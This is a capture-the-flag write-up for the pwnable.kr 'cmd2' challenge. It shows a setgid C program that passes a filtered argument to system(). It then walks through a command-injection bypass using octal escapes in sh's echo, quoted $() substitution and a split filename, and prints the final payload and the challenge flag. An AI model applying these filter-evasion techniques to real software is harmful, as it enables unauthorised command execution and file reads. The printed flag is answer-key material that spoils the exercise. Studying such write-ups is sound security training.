Pwnablr.kr - cmd2
Write-up for cmd2 of pwnable
(Ref)
0x00 Puzzle
Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!
ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)
0x01 Explore
ssh
$ pwd
/home/cmd2
$ ls -l
total 20
-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21 2015 cmd2
-rw-r--r-- 1 root root 586 Dec 21 2015 cmd2.c
-r--r----- 1 root cmd2_pwn 30 Jul 14 2015 flag
cmd2.c
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
This time the program filters out our solution of cmd1 by delete_env();
We need to find a new way to let the cmd2 to execute /bin/cat ~/flag
for us.
Since the program delete all the env variables and reset the PATH to something useless, we must try to use '/' in our payload, which means we have to bypass the '/' checking, which remind us (hopefully) some coding methods (like base64 etc.).
Key points
- There are many differences between
sh
andbash
. This program is usingsystem(command)
which actuallyexecl("/bin/sh", "sh", "-c", command, (char *) 0);
, which means it would run command withsh
rather thanbash
. (ref) echo '\57'
echo has quite different behaviors undersh
andbash
, see below:
$ sh
$ echo '\57'
/
$ bash
cmd2@ubuntu:~$ echo '\57'
\57
We can use this trick to bypass the '/' checking. But how to execute the result string of echo while the backtick character is blocked?
'...$(...)...'
point is at the apostrophe, both undersh
andbash
:- if you type
./binary "arg $(whoami)"
, it will first execute whatever inside $() - but if you type
./binary 'arg $(whoami)'
, it will take all the stuff inside''
as the arg and pass it to binary.
To make it clear:
$ bash
cmd2@ubuntu:/tmp$ cat test.py
import sys
print sys.argv[1]
cmd2@ubuntu:/tmp$ python test.py "arg $(whoami)"
arg cmd2
cmd2@ubuntu:/tmp$ python test.py 'arg $(whoami)'
arg $(whoami)
cmd2@ubuntu:/tmp$ sh
$ python test.py "arg $(whoami)"
arg cmd2
$ python test.py 'arg $(whoami)'
arg $(whoami)
So at this point, we can try to construct our payload:
~/cmd2 '$(echo "\57bin\57cat ~\57flag'
But remember that the ~
is no long worked after deleting all the env vars and there still is 'flag' checking.
- For the first part, just replace
~
with/home/cmd2
- For the second part, you can try other way like
ln
or even base64 decoding, or you just simply split the 'flag' to 'f' and 'lag' etc..
0x02 Solution
Final payload: ~/cmd2 '$(echo "\57bin\57cat \57home\57cmd2\57f")lag'
cmd2@ubuntu:~$ ~/cmd2 '$(echo "\57bin\57cat \57home\57cmd2\57f")lag'
$(echo "\57bin\57cat \57home\57cmd2\57f")lag
FuN_w1th_5h3ll_v4riabl3s_haha
Done!